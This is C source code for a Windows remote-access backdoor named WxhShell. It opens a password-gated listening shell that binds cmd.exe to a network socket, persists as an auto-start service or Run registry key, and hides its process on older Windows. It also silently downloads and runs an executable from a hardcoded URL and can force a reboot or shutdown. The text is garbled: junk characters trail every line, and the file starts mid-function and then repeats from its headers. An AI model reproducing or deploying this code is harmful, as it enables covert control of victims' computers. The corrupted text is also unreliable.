    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2g9 G{~,@g  
    if(Boot(SHUTDOWN)) # {fTgq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H=g.34  
    else { X;F?:Iw\  
    closesocket(wsh); 8;Fn7k_Uf  
    ExitThread(0); e}VBRvr  
    } u,3,ck!B>@  
    break; s#Jh -+lM  
    } OU4pjiLx  
  // 获取shell ,vqr <H9e  
  case 's': { d1@%W;qX!  
    CmdShell(wsh); v4miU;|\  
    closesocket(wsh); EVX{ 7%  
    ExitThread(0); vKwQXR~C  
    break; Z}A%=Z\/3  
  } 0Z<I%<8bK  
  // 退出 wv QMnE8\  
  case 'x': { y %$O-q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Cd79 tu|  
    CloseIt(wsh); X2mREt9  
    break; -7uwOr  
    } [OTJVpC  
  // 离开 b*fgv9Kh'  
  case 'q': { [+ *$\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R`";Z$~{  
    closesocket(wsh); )Dp/('Z2  
    WSACleanup(); LLWB  
    exit(1); AB Xl  
    break; _{vkX<s  
        } `dMqe\o%!  
  } F["wD O  
  } SjjIr ^  
*{undZ?(>  
  // 提示信息 v1k)hFjPK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5m=I*.qE  
} MC((M,3L  
  } K'iIJA*Sn  
#eU.p&Zc  
  return; M}_ i52  
} jJ4qR:]  
g>d;|sK  
// shell模块句柄 &Lt[WT$  
int CmdShell(SOCKET sock) ultG36.x  
{ \7MHaQvS   
STARTUPINFO si; GBFw+v/|4  
ZeroMemory(&si,sizeof(si)); &AuF]VT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S|rgCh!h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Dlo xrdOY&  
PROCESS_INFORMATION ProcessInfo; DcIvhBp  
char cmdline[]="cmd"; B{oU,3U>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); to8X=80-3  
  return 0; JxLf?ad.  
} TvNY:m6.%  
>3:?)  
// 自身启动模式 dw~p?[  
int StartFromService(void) "x941 }  
{ L{l6Dd43q  
typedef struct ~A<H9Bw  
{ xR"M*%{@0  
  DWORD ExitStatus; ]%uZ\Q;9p  
  DWORD PebBaseAddress; ri C[lB  
  DWORD AffinityMask; N4;7gSc"  
  DWORD BasePriority; ! / y!QXj  
  ULONG UniqueProcessId; Sp}D ;7  
  ULONG InheritedFromUniqueProcessId; biozZ  
}   PROCESS_BASIC_INFORMATION; ]J9cVp  
133I.XBU  
PROCNTQSIP NtQueryInformationProcess; Sx*oo{Kk%  
"'^4*o9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 04J}UE]Ww  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2#X4G~>#h  
n\I#CH0V  
  HANDLE             hProcess; e&MC|US=\  
  PROCESS_BASIC_INFORMATION pbi; (qn2xrV  
;v17K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +6smsL~<#v  
  if(NULL == hInst ) return 0; k"k J_(  
I9o6k?$K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bW#@OrsS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wiOgyMdx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |8%m.fY`  
wn>edn  
  if (!NtQueryInformationProcess) return 0; iDl;!b&V.  
AeIrr*~]B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &)i|$J 2.  
  if(!hProcess) return 0; H 9 C9P17  
+,:^5{9{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R j~  
TUT][ =.=  
  CloseHandle(hProcess); =O _z(  
oIGrA-T}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~zm 7?_"@]  
if(hProcess==NULL) return 0; jUj<~:Q}3o  
TGuiNobD  
HMODULE hMod; V~GWl1#7  
char procName[255]; 1%M&CX  
unsigned long cbNeeded; b1pQ`qt  
hA 3HVP_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O_$dI*RK  
VZ>On$hp  
  CloseHandle(hProcess); RjJU4q  
+^rh[>W  
if(strstr(procName,"services")) return 1; // 以服务启动 W$JebW<z(  
B) $c|dUV  
  return 0; // 注册表启动 WWwUwUi  
} a/~aFmu6b  
rzrl>9 h  
// 主模块 E'1+Yq  
int StartWxhshell(LPSTR lpCmdLine) ~mV"i7VX  
{ +u@aJ_^  
  SOCKET wsl; X.ONa_  
BOOL val=TRUE; 2c<&eX8"  
  int port=0; $=sXAK9   
  struct sockaddr_in door; IUGz =%[  
z s Qo$p  
  if(wscfg.ws_autoins) Install(); i$^)UZJ&0  
[=uo1%  
port=atoi(lpCmdLine); DfJ2PX}q  
d#:3be{|&q  
if(port<=0) port=wscfg.ws_port; %zC[KE*~  
S gMrce<;  
  WSADATA data; HQ9f ,<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; STfyCtS  
bLz*A-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kH*Pn'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3`hUo5K  
  door.sin_family = AF_INET; >idBS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ezhDcI_T  
  door.sin_port = htons(port); [MX;,%;;  
^/wfXm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s )voII&  
closesocket(wsl); aI zv  
return 1; c_{z(W"  
} pDPxl?S  
d lH$yub  
  if(listen(wsl,2) == INVALID_SOCKET) { CZ 2`H[8  
closesocket(wsl); QH4wUU3X  
return 1; (VyNvB  
} \u`)kJ5o1  
  Wxhshell(wsl); B;Nl~Y|\  
  WSACleanup(); T1B|w"In  
fkfZ>D^1  
return 0; #Z=tJ  
hlvt$Jwq  
} >,C4rC+:XN  
tc_f;S`k  
// 以NT服务方式启动 wYeB)1.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lM\LN^f5*  
{ zHB_{(o7  
DWORD   status = 0; f<i7@%  
  DWORD   specificError = 0xfffffff; Rg29  
I9$c F)zk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; XXmE+aI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m!XI{F@x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "re-@Baw  
  serviceStatus.dwWin32ExitCode     = 0; u#W5`sl  
  serviceStatus.dwServiceSpecificExitCode = 0; ?<X(]I.j  
  serviceStatus.dwCheckPoint       = 0; TL= YQA  
  serviceStatus.dwWaitHint       = 0; RKd  
ydl jw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4kp im  
  if (hServiceStatusHandle==0) return; ?{o/I\\  
Qz<d~ N  
status = GetLastError(); iWXc  
  if (status!=NO_ERROR) -y) ,Y |  
{ ,lY aA5&I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q+|{Bs)6i1  
    serviceStatus.dwCheckPoint       = 0; k>4qkigjc  
    serviceStatus.dwWaitHint       = 0; OQ/<-+<w  
    serviceStatus.dwWin32ExitCode     = status; XCB?ll*^  
    serviceStatus.dwServiceSpecificExitCode = specificError; E ?2O(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rt]S\  
    return; oqkVYlE  
  } *#>F.#9  
c"YXxA J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I"L;L?\S  
  serviceStatus.dwCheckPoint       = 0; s}M= oe  
  serviceStatus.dwWaitHint       = 0; cl[!`Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #~:P}<h  
} KcGsMPJ  
xtV[p4U  
// 处理NT服务事件,比如:启动、停止 +%J\y^09kr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X[C3&NX#_  
{ 2)iD4G`  
switch(fdwControl) uE_c4Hp  
{ xc 1A$EY  
case SERVICE_CONTROL_STOP: jX=lAs~6  
  serviceStatus.dwWin32ExitCode = 0; @ $cUNvI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `cP <}^]  
  serviceStatus.dwCheckPoint   = 0; .;/L2Jv  
  serviceStatus.dwWaitHint     = 0; S^RUw  
  { r2*<\ax  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )9"oL!2h  
  } :LJ7ru2  
  return; )yee2(S  
case SERVICE_CONTROL_PAUSE: Y,z??bm~J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u.|~   
  break; C.a5RF0  
case SERVICE_CONTROL_CONTINUE: TT!ET<ciN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *}b]rjsj  
  break; Y8s;w!/  
case SERVICE_CONTROL_INTERROGATE:  {E9v`u\  
  break; ~9pM%N V  
}; 3 &&+Y X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bPD)D'Hs  
} 9 wa,k  
( `' 8Ww  
// 标准应用程序主函数 6/ g%\ka  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZwI 1* f  
{ V*n==Nb5L  
5vp|?-\h>  
// 获取操作系统版本 A;K(J4y*  
OsIsNt=GetOsVer(); IFNWS,:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %Tcf6cK"  
-<f/\U  
  // 从命令行安装 0Vv9BL{  
  if(strpbrk(lpCmdLine,"iI")) Install();  I?Y d   
54p tP  
  // 下载执行文件 sLh0&R7   
if(wscfg.ws_downexe) { Iq' O  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x2wg^$F*oO  
  WinExec(wscfg.ws_filenam,SW_HIDE); X33v:9=  
} N{a kg90  
<zB*'m  
if(!OsIsNt) { 7Ur?ep  
// 如果时win9x,隐藏进程并且设置为注册表启动 iv%w!3#  
HideProc(); ,\ldz(D?+  
StartWxhshell(lpCmdLine); w8M2N]&:  
} SBKeb|H8  
else rnhFqNT:  
  if(StartFromService()) $%qg"  
  // 以服务方式启动 E{^^^"z P  
  StartServiceCtrlDispatcher(DispatchTable); IhonnLLW  
else T{MC-j _T9  
  // 普通方式启动 n[k1np$7?6  
  StartWxhshell(lpCmdLine); ?T*";_o,B  
OD9 yxN>P  
return 0; /0==pLa4  
} 9BON.` |_  
90:K#nW;  
tm)*2lH6  
L@)&vn]  
=========================================== <)#kq1b?  
x'`"iZO.t  
4,1oU|fz  
1M5 -pZ[D  
Y(i?M~3\t  
/A(NuB<Pq  
" UVX"fZ)  
IsYP0(L  
#include <stdio.h> 3B9nP._  
#include <string.h> *3Nn +T  
#include <windows.h> E&2tBrAq  
#include <winsock2.h> 3 ]}'TA`v  
#include <winsvc.h> L7q |^`  
#include <urlmon.h> }5gr5g\OtP  
_vrWj<wyf  
#pragma comment (lib, "Ws2_32.lib") w=J4zkWk  
#pragma comment (lib, "urlmon.lib") T%I&txl  
/8eW@IO.F  
#define MAX_USER   100 // 最大客户端连接数 C ?7X"~ ~  
#define BUF_SOCK   200 // sock buffer I6dm@{/:>  
#define KEY_BUFF   255 // 输入 buffer 0-xCp ~vE  
vA?_-.J  
#define REBOOT     0   // 重启 n6f3H\/P&  
#define SHUTDOWN   1   // 关机 R2^iSl%pj  
k/`i6%F#m  
#define DEF_PORT   5000 // 监听端口 <MZi<Z`  
(([I]q  
#define REG_LEN     16   // 注册表键长度 P^IY: -s  
#define SVC_LEN     80   // NT服务名长度 %g^" ]  
sbla`6Fb  
// 从dll定义API rihlae5Kz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tV`&- H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Pz473d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {'~sS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,IjdO(?TC  
o/JPYBhdl  
// wxhshell配置信息 c^S&F9/U*  
struct WSCFG { |9s wZ[  
  int ws_port;         // 监听端口 &'O?es|Lb  
  char ws_passstr[REG_LEN]; // 口令 I'IB_YRL4  
  int ws_autoins;       // 安装标记, 1=yes 0=no !<Z{@7oH  
  char ws_regname[REG_LEN]; // 注册表键名 a$+#V=bA  
  char ws_svcname[REG_LEN]; // 服务名 @d)a~[pm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oh&Y< d0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 XZO<dhZX:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,L%p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @hT;Bo2G]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _i@x@:_l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1q!sKoJ<  
M {xie  
}; wItzcY1m  
iQqbzOY  
// default Wxhshell configuration D44I"TgqD  
struct WSCFG wscfg={DEF_PORT, G%OpO.Wf  
    "xuhuanlingzhe", v*D FiCQD  
    1, T Nci.']  
    "Wxhshell", */U$sZQ)  
    "Wxhshell", 6y@<?08Q  
            "WxhShell Service", iEhDaC[e(b  
    "Wrsky Windows CmdShell Service", {HuLuP 0t  
    "Please Input Your Password: ", @,vv\M0)p  
  1, OK\]*r  
  "http://www.wrsky.com/wxhshell.exe", M(S{1|,V  
  "Wxhshell.exe"  y h-9u  
    }; }#YQg0(  
r5)f82pQ  
// 消息定义模块 ~ 7BX@?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Qa?Q bHc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vs*I7<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;U7t  
char *msg_ws_ext="\n\rExit."; )/TVJAJ  
char *msg_ws_end="\n\rQuit."; AI fk"2  
char *msg_ws_boot="\n\rReboot..."; w:R]!e_6\9  
char *msg_ws_poff="\n\rShutdown..."; V'yxqI?  
char *msg_ws_down="\n\rSave to "; oZvG3_H4.  
g.&\6^)8p  
char *msg_ws_err="\n\rErr!"; S A3Y:(  
char *msg_ws_ok="\n\rOK!"; j&}B<f _6J  
^V,@=QL3U  
char ExeFile[MAX_PATH]; Ja=N@&Z#  
int nUser = 0; h>Rpb#]  
HANDLE handles[MAX_USER]; 6cZ  C  
int OsIsNt; CU !.!cZ{  
fW[.r==Kf  
SERVICE_STATUS       serviceStatus; EQ~I'#m7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /2'c>  
qid1b b  
// 函数声明 "2K|#,%N  
int Install(void); _Fvsi3d/  
int Uninstall(void); XAlD ww  
int DownloadFile(char *sURL, SOCKET wsh); EM~7#Y  
int Boot(int flag); B2"+Hwbk  
void HideProc(void); )XZ,bz*jn  
int GetOsVer(void); iy9VruT<x  
int Wxhshell(SOCKET wsl); Ko}7$2^  
void TalkWithClient(void *cs); &@Yoj%%  
int CmdShell(SOCKET sock); {8i}Ow  
int StartFromService(void); ~pwY6Q  
int StartWxhshell(LPSTR lpCmdLine); pb= HVjW<  
6KBHRt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .=aMjrME  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @%7/2k  
X)FQ%(H<  
// 数据结构和表定义 g&8.A(  
SERVICE_TABLE_ENTRY DispatchTable[] = W.sD2f  
{ ,DQ >&_DK  
{wscfg.ws_svcname, NTServiceMain}, ],#ZPUn  
{NULL, NULL} m&{rBz0  
}; $q=hcu  
IT7:QEfKU  
// 自我安装 PE +qYCpP9  
int Install(void) )%1&/uN)  
{ _"`/^L`Q?  
  char svExeFile[MAX_PATH]; P:vX }V |[  
  HKEY key; k.ww-nH  
  strcpy(svExeFile,ExeFile); j[BgP\&,  
[/n' @cjNZ  
// 如果是win9x系统,修改注册表设为自启动 _c,&\ wl$  
if(!OsIsNt) { uof0Oc.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yl|R:/2V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PK9Qm'W b  
  RegCloseKey(key); 0honHP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nFSG<#x\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5"]aZMua  
  RegCloseKey(key); DwQp$l'NfW  
  return 0; HJ(=?TU  
    } |O'Hh7  
  } %0go%_  
} P}b Dn;  
else { \>_eEZ5  
 &s_}u%iC  
// 如果是NT以上系统,安装为系统服务 96k(X LR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~c'\IM  
if (schSCManager!=0) + >Fv*lux  
{ VdYOm  
  SC_HANDLE schService = CreateService :K5V/-[|V1  
  ( f2 VpeJ<p  
  schSCManager, mRNHq3  
  wscfg.ws_svcname, "otr+.{`*  
  wscfg.ws_svcdisp, FkLQBpp(x  
  SERVICE_ALL_ACCESS, O{O 9}]6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sVNo\  
  SERVICE_AUTO_START, $4& 8U~Zs  
  SERVICE_ERROR_NORMAL, J#_\+G i  
  svExeFile, P'KY.TjWb  
  NULL, vsxvHot=  
  NULL, "1E?3PFJ  
  NULL, 3" 8t)s  
  NULL, jAsh   
  NULL vQE` c@^{  
  ); GWVEIZ  
  if (schService!=0) (p}9^Y  
  { :a#|  
  CloseServiceHandle(schService); #zh6=.,7  
  CloseServiceHandle(schSCManager); |2tSUOZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S;G"L$&\  
  strcat(svExeFile,wscfg.ws_svcname); 75' Ua$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;g!xQvcR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8yNRx iW:  
  RegCloseKey(key); B>c[Zg1  
  return 0; ](idf(j  
    } 99=[>Ck)G  
  } GA}hp%  
  CloseServiceHandle(schSCManager); kjQIagw  
} })Ix .!p  
} eU<]h>2  
w/)e2CH  
return 1; ;w>Q{z  
} !^rITiy  
gt(X!iN]  
// 自我卸载 m(Pz7U.Q  
int Uninstall(void) :C}KI)  
{ zSX'  
  HKEY key; <[*h_gE5  
>& 4I.nA  
if(!OsIsNt) { (Qw`%B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~QQEHx\4zZ  
  RegDeleteValue(key,wscfg.ws_regname); 50O7=  
  RegCloseKey(key); ([z<TS#Md  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H"kc^G+(R"  
  RegDeleteValue(key,wscfg.ws_regname); #w[q.+A  
  RegCloseKey(key); _Y:Ja0,  
  return 0; +Px<DX+  
  } X}ey0)g%  
} hvwnG>m\  
} @8}-0c  
else { OoA5!HEh  
?}!gLp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W_Ws3L1;N  
if (schSCManager!=0) htNL2N  
{ Il tg0`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @9 qzn&A  
  if (schService!=0) Q7OnhGA  
  { S:"z<O  
  if(DeleteService(schService)!=0) { Vb"T],N1m  
  CloseServiceHandle(schService); o%9Ua9|RR  
  CloseServiceHandle(schSCManager); k1@  A'n  
  return 0; wjw<@A9  
  } l=<F1Lz  
  CloseServiceHandle(schService); v>yGsJnV'  
  } , .NG.Q4f  
  CloseServiceHandle(schSCManager); N23+1h  
} B[2h   
} _ cHV3cz  
Dg];(c+/  
return 1; 96([V|5K  
} h<!khWFS  
e2_r0I^C  
// 从指定url下载文件 %$!R]B)  
int DownloadFile(char *sURL, SOCKET wsh) 9Le/'ovq  
{ v\r7.l:hf  
  HRESULT hr; R-0_226  
char seps[]= "/"; 071E%u,  
char *token; NC[GtAPD3  
char *file; 6O[wVaC1u  
char myURL[MAX_PATH]; A(_^_p.|  
char myFILE[MAX_PATH]; av| 6r#  
1'@lg*^9  
strcpy(myURL,sURL); o 0cc+  
  token=strtok(myURL,seps); (,)vak&t  
  while(token!=NULL) N";dG 3  
  { e-duZ o  
    file=token; is _ dPc  
  token=strtok(NULL,seps); Q'%5"&XFD  
  } J7 zVi  
!<UEq`2  
GetCurrentDirectory(MAX_PATH,myFILE); Z1MJ!{@6  
strcat(myFILE, "\\"); 0ga1Yr]  
strcat(myFILE, file); DFZ:.6p  
  send(wsh,myFILE,strlen(myFILE),0); S &lTKYP  
send(wsh,"...",3,0); %I2xK.8=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z ^9{Qq  
  if(hr==S_OK) AcfkY m~  
return 0; X?k V1  
else 4q 2=:"z4  
return 1; O'yjB$j  
")[Q4H;V  
} 8bKWIN g_n  
;JD3tM<  
// 系统电源模块 Gh>fp  
int Boot(int flag) ;Kd{h  
{ "a%ASy>?g  
  HANDLE hToken; E?c{02fu  
  TOKEN_PRIVILEGES tkp; GF/x;,Ae  
I}]@e ^ ~  
  if(OsIsNt) { +8@`lDnr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &l!{!f4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); po](6V  
    tkp.PrivilegeCount = 1; { ves@p>?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |?t8M9[Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {dr&46$p  
if(flag==REBOOT) { zL!~,B8C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (gJ )]/n  
  return 0;  lN`_0  
} Dy!bj  
else { 5}l#zj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4>wIF}\  
  return 0; lVp~oZC6[  
} h9OL%n 7m'  
  } 0)]C&;}_M  
  else { E( 4lu%  
if(flag==REBOOT) { ?GD? J(S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -L4G WJ~.-  
  return 0; n4_:#L?  
} 'rq#q)1MT  
else { {uQ)p=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "VVR#H}{  
  return 0; ,IZxlf%  
} gBiQIhz  
} r(2'0JQ  
: R*^Izs=  
return 1; V1fvQ=9  
} ?e|:6a+[f  
 '?>O  
// win9x进程隐藏模块 6Cv2>'{S  
void HideProc(void) R&|)y:bg|  
{ u$@I/q,ou  
AqKx3p6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @7Rt[2"e  
  if ( hKernel != NULL ) kpreTeA]  
  { `6/Yf@b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jvQ+u L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pZJQKTCG  
    FreeLibrary(hKernel); R{Kd%Y:2Y  
  } 3L%r_N*a  
FC- *?  
return; F@(}=w^(A  
} w wRT$-!  
![D,8]GD  
// 获取操作系统版本 LsD9hb7  
int GetOsVer(void) 1*, ~1!>  
{ EKS<s82hF&  
  OSVERSIONINFO winfo; ~TK^aM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l:Xf(TLa  
  GetVersionEx(&winfo); <Ibr.L]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ht)*Ync  
  return 1; ~aR='\<  
  else ysT!^-&p  
  return 0; c:_i)":  
} yc4f\0B/  
Gv nclnG  
// 客户端句柄模块 V7'x? pt  
int Wxhshell(SOCKET wsl) r ~!%w(N|M  
{ pmD-]0  
  SOCKET wsh; gx9sBkoq5D  
  struct sockaddr_in client; *]| JX&  
  DWORD myID; T2PFE4+Dp  
V5@[7ncVf  
  while(nUser<MAX_USER) ue:P#] tx  
{ vKOn7  
  int nSize=sizeof(client); 6{r[Dq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /ZN5WK  
  if(wsh==INVALID_SOCKET) return 1; 86 /i~s  
ieLN;)Iy^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c&?H8G)x  
if(handles[nUser]==0) GZ[h`FJg/  
  closesocket(wsh); E=~WQ13Q  
else 4k?JxA)  
  nUser++; >s?;2T2"yx  
  } 1Kf t?g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lGBdQc]IL  
k<";t  
  return 0; LmdV@gR  
} mb`}sTU).  
w8#>xV^~  
// 关闭 socket y\|\9Q%D  
void CloseIt(SOCKET wsh) HPCA$LD  
{ Nl)jQ  
closesocket(wsh); G6F['g);  
nUser--; C^: &3,  
ExitThread(0); [>9"RzEl  
} iKH T  
Uk ;.Hrt.  
// 客户端请求句柄 [a*>@IR  
void TalkWithClient(void *cs) ]BD5+>;  
{  %!h+  
aYCzb7  
  SOCKET wsh=(SOCKET)cs; 4xn^`xf9  
  char pwd[SVC_LEN]; a} 7KpKCD  
  char cmd[KEY_BUFF]; MCpK^7]k  
char chr[1]; @gGuV$Mw  
int i,j; {QkH%jj  
"8TMAF|i4  
  while (nUser < MAX_USER) { a2_IF,p*?  
\~j(ui|  
if(wscfg.ws_passstr) { ]H'82a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *G|]5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l8lR5<  
  //ZeroMemory(pwd,KEY_BUFF); .Tqvy)'  
      i=0; wTbIS~!gF  
  while(i<SVC_LEN) { neH"ks5  
S2SQ;s-t_  
  // 设置超时 M +q 7h+HP  
  fd_set FdRead; 0nnq/u^  
  struct timeval TimeOut; / hdl  
  FD_ZERO(&FdRead); U .h PC3  
  FD_SET(wsh,&FdRead); !7*/lG  
  TimeOut.tv_sec=8; \)kAhKtG  
  TimeOut.tv_usec=0; ?|YQtY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); MdjMTe s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FdHWF|D  
_u5U> w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F>R)~;Ja  
  pwd=chr[0]; LB+=?Mz V  
  if(chr[0]==0xd || chr[0]==0xa) { $ {eh52)`  
  pwd=0; bdhgHjz  
  break; r(CL=[  
  } z{WqICnb  
  i++; ToM*tXj  
    } yvwcXNXR@  
o[6"XJ  
  // 如果是非法用户,关闭 socket XYTcG;_z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~ZN9 E-uL  
} FEswNB(]*  
y^BM*CI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ub&29Qte  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r26Wysi~%  
>maz t=,  
while(1) { gcF><i6  
BEx^IQ2  
  ZeroMemory(cmd,KEY_BUFF); .;6bMP[YA  
.1lc'gu5y  
      // 自动支持客户端 telnet标准   l6Bd<tSH  
  j=0; Bn:sN_N  
  while(j<KEY_BUFF) { >;?97'M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <2A'   
  cmd[j]=chr[0]; 7^X_tQf  
  if(chr[0]==0xa || chr[0]==0xd) { sxa (  
  cmd[j]=0; VH65=9z  
  break; KphEw[4/  
  } El} z^e  
  j++; _%!hkc(  
    } F\<i>LWT'  
Sp:de,9@  
  // 下载文件 j`l K}  
  if(strstr(cmd,"http://")) { _zwuK1e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M/;g|J jM  
  if(DownloadFile(cmd,wsh)) .1}(Bywm5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?! Gt. fb  
  else 7|Y8^T s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8G<.5!f7`N  
  } b=EZtk6>  
  else { n_glYSV!  
/% 1lJD  
    switch(cmd[0]) { mJT m/C  
  OSU=O  
